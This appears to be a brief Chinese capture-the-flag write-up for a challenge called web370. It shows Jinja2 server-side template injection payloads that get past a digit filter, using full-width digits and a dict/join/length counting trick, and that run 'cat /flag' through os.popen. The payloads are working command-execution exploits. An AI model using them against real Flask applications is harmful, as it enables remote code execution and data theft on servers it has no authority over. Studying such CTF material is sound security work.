web370

EXP

这题过滤了数字,但是可以用全角数字绕过(感谢python不杀全角数字之恩)

使用的工具:Flask-jinja2敏感字符绕过脚本

payload

?name={% print((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read()) %}

原型

 print((lipsum|attr('__globals__')).get('os').popen('cat /flag').read())

 

也可以使用 词典 => 字符串 => 数字 绕过

{% set ccc=dict(ccc=z)|join|length %}
==> ccc == 3

payload:

?name={% set e=dict(ccccc=z)|join|length %}{% set a=dict(c=z)|join|length %}{% print(lipsum|attr((config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a).lower()~(config|string|list).pop(a*e*e-a*e-a*e-a*e-a-a-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a-a-a-a).lower()~(config|string|list).pop(a*e-a-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a*e-a*e-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a*e).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a-a-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a).lower())).get((config|string|list).pop(a*e-a-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a-a-a).lower()).popen((config|string|list).pop(a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a*e).lower()~(config|string|list).pop(a*e*e-a-a).lower()~(config|string|list).pop(a*e*e-a*e-a*e-a*e-a-a-a).lower()~(config|string|list).pop(a*e*e*e*e-a*e*e*e-a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a*e-a*e-a*e-a).lower()~(config|string|list).pop(a*e-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a-a-a-a).lower()~(config|string|list).pop(a*e*e*e-a*e*e-a*e*e-a*e*e-a*e-a*e).lower()~(config|string|list).pop(a*e*e-a*e-a*e-a*e-a-a-a-a).lower()).read() %}